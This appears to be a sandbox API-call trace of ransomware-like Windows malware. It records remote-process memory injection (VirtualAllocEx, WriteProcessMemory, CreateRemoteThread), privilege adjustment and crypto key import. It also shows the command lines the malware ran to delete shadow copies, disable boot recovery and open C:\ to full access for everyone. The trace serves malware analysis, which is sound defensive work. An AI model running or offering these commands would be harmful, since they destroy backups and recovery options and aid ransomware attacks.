	[0179.521] Sleep (dwMilliseconds=0x1f4) 
	[0180.566] SetLastError (dwErrCode=0x0) 
	[0180.566] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa90) returned 0x37c
	[0180.566] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0180.566] SetLastError (dwErrCode=0x0) 
	[0180.566] VirtualAllocEx (hProcess=0x37c, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0223.018] GetLastError () returned 0x1e7
	[0223.018] CloseHandle (hObject=0x37c) returned 1
	[0223.018] Sleep (dwMilliseconds=0x1f4) 
	[0223.875] SetLastError (dwErrCode=0x0) 
	[0223.875] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xaa0) returned 0x37c
	[0223.876] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0223.876] SetLastError (dwErrCode=0x0) 
	[0223.876] VirtualAllocEx (hProcess=0x37c, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0223.888] GetLastError () returned 0x1e7
	[0223.888] CloseHandle (hObject=0x37c) returned 1
	[0223.888] Sleep (dwMilliseconds=0x1f4) 
	[0224.691] SetLastError (dwErrCode=0x0) 
	[0224.691] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xab0) returned 0x3a0
	[0224.691] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0224.691] SetLastError (dwErrCode=0x0) 
	[0224.691] VirtualAllocEx (hProcess=0x3a0, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0224.691] GetLastError () returned 0x1e7
	[0224.692] CloseHandle (hObject=0x3a0) returned 1
	[0224.692] Sleep (dwMilliseconds=0x1f4) 
	[0225.508] SetLastError (dwErrCode=0x0) 
	[0225.508] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xac0) returned 0x3a0
	[0225.509] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0225.509] SetLastError (dwErrCode=0x0) 
	[0225.509] VirtualAllocEx (hProcess=0x3a0, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0225.509] GetLastError () returned 0x1e7
	[0225.509] CloseHandle (hObject=0x3a0) returned 1
	[0225.509] Sleep (dwMilliseconds=0x1f4) 
	[0226.188] SetLastError (dwErrCode=0x0) 
	[0226.188] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xad4) returned 0x3a0
	[0226.188] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0226.188] SetLastError (dwErrCode=0x0) 
	[0226.189] VirtualAllocEx (hProcess=0x3a0, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0226.189] GetLastError () returned 0x1e7
	[0226.189] CloseHandle (hObject=0x3a0) returned 1
	[0226.189] Sleep (dwMilliseconds=0x1f4) 
	[0226.842] SetLastError (dwErrCode=0x0) 
	[0226.842] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xae4) returned 0x3a0
	[0226.842] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0226.842] SetLastError (dwErrCode=0x0) 
	[0226.842] VirtualAllocEx (hProcess=0x3a0, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0227.026] GetLastError () returned 0x1e7
	[0227.026] CloseHandle (hObject=0x3a0) returned 1
	[0227.026] Sleep (dwMilliseconds=0x1f4) 
	[0227.685] SetLastError (dwErrCode=0x0) 
	[0227.685] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xaf4) returned 0x3a0
	[0227.685] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0227.685] SetLastError (dwErrCode=0x0) 
	[0227.685] VirtualAllocEx (hProcess=0x3a0, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0227.841] GetLastError () returned 0x1e7
	[0227.841] CloseHandle (hObject=0x3a0) returned 1
	[0227.841] Sleep (dwMilliseconds=0x1f4) 
	[0228.445] SetLastError (dwErrCode=0x0) 
	[0228.445] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb04) returned 0x3a0
	[0228.445] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0228.445] SetLastError (dwErrCode=0x0) 
	[0228.446] VirtualAllocEx (hProcess=0x3a0, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0228.486] GetLastError () returned 0x1e7
	[0228.486] CloseHandle (hObject=0x3a0) returned 1
	[0228.486] Sleep (dwMilliseconds=0x1f4) 
	[0229.240] SetLastError (dwErrCode=0x0) 
	[0229.240] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb14) returned 0x3a0
	[0229.240] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0229.240] SetLastError (dwErrCode=0x0) 
	[0229.240] VirtualAllocEx (hProcess=0x3a0, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0229.566] GetLastError () returned 0x1e7
	[0229.566] CloseHandle (hObject=0x3a0) returned 1
	[0229.566] Sleep (dwMilliseconds=0x1f4) 
	[0230.161] SetLastError (dwErrCode=0x0) 
	[0230.161] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb24) returned 0x3a0
	[0230.161] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0230.161] SetLastError (dwErrCode=0x0) 
	[0230.161] VirtualAllocEx (hProcess=0x3a0, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0230.266] GetLastError () returned 0x1e7
	[0230.266] CloseHandle (hObject=0x3a0) returned 1
	[0230.267] Sleep (dwMilliseconds=0x1f4) 
	[0230.842] SetLastError (dwErrCode=0x0) 
	[0230.843] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb34) returned 0x3a0
	[0230.843] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0230.843] SetLastError (dwErrCode=0x0) 
	[0230.843] VirtualAllocEx (hProcess=0x3a0, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0230.887] GetLastError () returned 0x1e7
	[0230.887] CloseHandle (hObject=0x3a0) returned 1
	[0230.887] Sleep (dwMilliseconds=0x1f4) 
	[0231.658] SetLastError (dwErrCode=0x0) 
	[0231.658] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb44) returned 0x3a0
	[0231.659] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0231.659] SetLastError (dwErrCode=0x0) 
	[0231.659] VirtualAllocEx (hProcess=0x3a0, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0231.713] GetLastError () returned 0x1e7
	[0231.713] CloseHandle (hObject=0x3a0) returned 1
	[0231.713] Sleep (dwMilliseconds=0x1f4) 
	[0232.256] SetLastError (dwErrCode=0x0) 
	[0232.256] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb54) returned 0x3a0
	[0232.257] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0232.257] SetLastError (dwErrCode=0x0) 
	[0232.257] VirtualAllocEx (hProcess=0x3a0, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0232.266] GetLastError () returned 0x1e7
	[0232.266] CloseHandle (hObject=0x3a0) returned 1
	[0232.267] Sleep (dwMilliseconds=0x1f4) 
	[0232.873] SetLastError (dwErrCode=0x0) 
	[0232.873] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb64) returned 0x3a0
	[0232.873] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0232.873] SetLastError (dwErrCode=0x0) 
	[0232.874] VirtualAllocEx (hProcess=0x3a0, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0232.922] GetLastError () returned 0x1e7
	[0232.922] CloseHandle (hObject=0x3a0) returned 1
	[0232.922] Sleep (dwMilliseconds=0x1f4) 
	[0233.494] SetLastError (dwErrCode=0x0) 
	[0233.494] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb74) returned 0x3a0
	[0233.494] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0233.494] SetLastError (dwErrCode=0x0) 
	[0233.494] VirtualAllocEx (hProcess=0x3a0, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0233.612] GetLastError () returned 0x1e7
	[0233.612] CloseHandle (hObject=0x3a0) returned 1
	[0233.612] Sleep (dwMilliseconds=0x1f4) 
	[0234.173] SetLastError (dwErrCode=0x0) 
	[0234.173] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb84) returned 0x3a0
	[0234.174] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0234.174] SetLastError (dwErrCode=0x0) 
	[0234.174] VirtualAllocEx (hProcess=0x3a0, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0234.217] GetLastError () returned 0x1e7
	[0234.217] CloseHandle (hObject=0x3a0) returned 1
	[0234.217] Sleep (dwMilliseconds=0x1f4) 
	[0234.771] SetLastError (dwErrCode=0x0) 
	[0234.771] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb94) returned 0x3a0
	[0234.771] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0234.771] SetLastError (dwErrCode=0x0) 
	[0234.772] VirtualAllocEx (hProcess=0x3a0, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0234.772] GetLastError () returned 0x1e7
	[0234.772] CloseHandle (hObject=0x3a0) returned 1
	[0234.772] Sleep (dwMilliseconds=0x1f4) 
	[0235.325] SetLastError (dwErrCode=0x0) 
	[0235.325] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x944) returned 0x398
	[0235.325] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0235.325] SetLastError (dwErrCode=0x0) 
	[0235.325] VirtualAllocEx (hProcess=0x398, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x13f450000
	[0235.334] WriteProcessMemory (in: hProcess=0x398, lpBaseAddress=0x13f450000, lpBuffer=0x13f450000*, nSize=0x163000, lpNumberOfBytesWritten=0x1948e8 | out: lpBuffer=0x13f450000*, lpNumberOfBytesWritten=0x1948e8*=0x163000) returned 1
	[0235.618] CreateRemoteThread (in: hProcess=0x398, lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f457014, lpParameter=0x13f450000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a0
	[0235.880] Sleep (dwMilliseconds=0x1f4) 
	[0236.598] Sleep (dwMilliseconds=0x1388) 
	[0241.789] SetLastError (dwErrCode=0x0) 
	[0241.789] GetCurrentThread () returned 0xfffffffffffffffe
	[0241.789] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=0, TokenHandle=0x194020 | out: TokenHandle=0x194020*=0x184) returned 1
	[0241.789] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeBackupPrivilege", lpLuid=0x193fa8 | out: lpLuid=0x193fa8*(LowPart=0x11, HighPart=0)) returned 1
	[0241.790] AdjustTokenPrivileges (in: TokenHandle=0x184, DisableAllPrivileges=0, NewState=0x193f70*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
	[0241.790] GetLastError () returned 0x0
	[0241.790] GetVersionExW (in: lpVersionInformation=0x193e60*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x193e60*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0241.791] GetWindowsDirectoryW (in: lpBuffer=0x13f5adad0, uSize=0x64 | out: lpBuffer="C:\\Windows") returned 0xa
	[0241.791] GetWindowsDirectoryW (in: lpBuffer=0x13f5adc90, uSize=0x140 | out: lpBuffer="C:\\Windows") returned 0xa
	[0241.791] CryptAcquireContextW (in: phProv=0x13f5adb38, szContainer="AES_unique_", szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x10 | out: phProv=0x13f5adb38*=0x0) returned 0
	[0241.803] CryptAcquireContextW (in: phProv=0x13f5adb38, szContainer="AES_unique_", szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x20 | out: phProv=0x13f5adb38*=0x3bf240) returned 1
	[0241.810] CryptImportKey (in: hProv=0x3bf240, pbData=0x13f46e310, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x1, phKey=0x13f5adc80 | out: phKey=0x13f5adc80*=0x3f7930) returned 1
	[0241.810] Sleep (dwMilliseconds=0x3e8) 
	[0242.856] WinExec (lpCmdLine="cmd /c \"WMIC.exe shadowcopy delete\"", uCmdShow=0x0) returned 0x21
	[0242.868] WinExec (lpCmdLine="cmd /c \"vssadmin.exe Delete Shadows /all /quiet\"", uCmdShow=0x0) returned 0x21
	[0242.880] WinExec (lpCmdLine="cmd /c \"bcdedit /set {default} recoveryenabled No & bcdedit /set {default}\"", uCmdShow=0x0) returned 0x21
	[0243.044] WinExec (lpCmdLine="cmd /c \"bootstatuspolicy ignoreallfailures\"", uCmdShow=0x0) returned 0x21
	[0243.057] GetLogicalDrives () returned 0x4
	[0243.057] WinExec (lpCmdLine="icacls \"C:\\*\" /grant Everyone:F /T /C /Q", uCmdShow=0x0) returned 0x21
	[0243.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f455938, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x280
	[0243.763] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2610000
	[0243.764] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0xe0000
	[0243.764] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2b00000
	[0243.764] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x360000
	[0243.765] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3080000
	[0243.765] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2510000
	[0243.765] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3180000
	[0243.766] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2720000
	[0243.766] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3280000
	[0243.766] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2730000
	[0243.766] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3380000
	[0243.767] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2740000
	[0243.767] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3480000
	[0243.767] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27c0000
	[0243.768] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3580000
	[0243.768] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27d0000
	[0243.768] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3680000
	[0243.769] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0243.769] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3780000
	[0243.769] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27f0000
	[0243.770] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3880000
	[0243.770] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2800000
	[0243.770] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3980000
	[0243.771] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2810000
	[0243.771] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3a80000
	[0243.771] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2820000
	[0243.772] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3b80000
	[0243.772] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2930000
	[0243.772] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3c80000
	[0243.773] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2940000
	[0243.773] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3d80000
	[0243.773] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2950000
	[0243.773] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3e80000
	[0243.774] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2960000
	[0243.774] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3f80000
	[0243.774] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2970000
	[0243.775] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4080000
	[0243.775] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2980000
	[0243.776] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4180000
	[0243.776] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000
	[0243.776] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4280000
	[0243.777] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x29a0000
	[0243.777] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4380000
	[0243.777] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000
	[0243.777] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4480000
	[0243.778] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x29c0000
	[0243.778] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4580000
	[0243.779] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x29d0000
	[0243.779] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4680000
	[0243.779] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x29e0000
	[0243.780] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4780000
	[0243.780] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x29f0000
	[0243.780] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4880000
	[0243.781] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2c00000
	[0243.781] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4980000
	[0243.781] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2c10000
	[0243.782] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4a80000
	[0243.782] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2c20000
	[0243.782] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4b80000
	[0243.783] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2c30000
	[0243.783] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4c80000
	[0243.783] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2c40000
	[0243.784] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4d80000
	[0243.784] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2c50000
	[0243.784] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4e80000
	[0243.785] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2c60000
	[0243.785] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4f80000
	[0243.785] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2d70000
	[0243.786] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5080000
	[0243.786] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2d80000
	[0243.786] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5180000
	[0243.787] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2d90000
	[0243.787] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5280000
	[0243.788] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2da0000
	[0243.788] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5380000
	[0243.788] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2db0000
	[0243.789] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5480000
	[0243.789] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2dc0000
	[0243.789] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5580000
	[0243.790] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2ed0000
	[0243.790] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5680000
	[0243.791] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2ee0000
	[0243.901] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5780000
	[0243.976] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2ef0000
	[0243.976] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5880000
	[0243.976] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2f00000
	[0243.977] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5980000
	[0243.977] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2f10000
	[0243.978] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5a80000
	[0243.978] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2f20000
	[0243.978] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5b80000
	[0243.979] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2f30000
	[0243.979] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5c80000
	[0243.980] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2f40000
	[0243.980] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5d80000
	[0243.980] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2f50000
	[0243.981] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e80000
	[0243.981] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2f60000
	[0243.982] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5f80000
	[0243.982] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2f70000
	[0243.982] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6080000
	[0243.983] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6180000
	[0243.983] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6190000
	[0243.984] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6290000
	[0243.984] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x62a0000
	[0243.984] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x63a0000
	[0243.985] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x63b0000
	[0243.985] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x64b0000
	[0243.986] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x64c0000
	[0243.986] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x65c0000
	[0243.986] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x65d0000
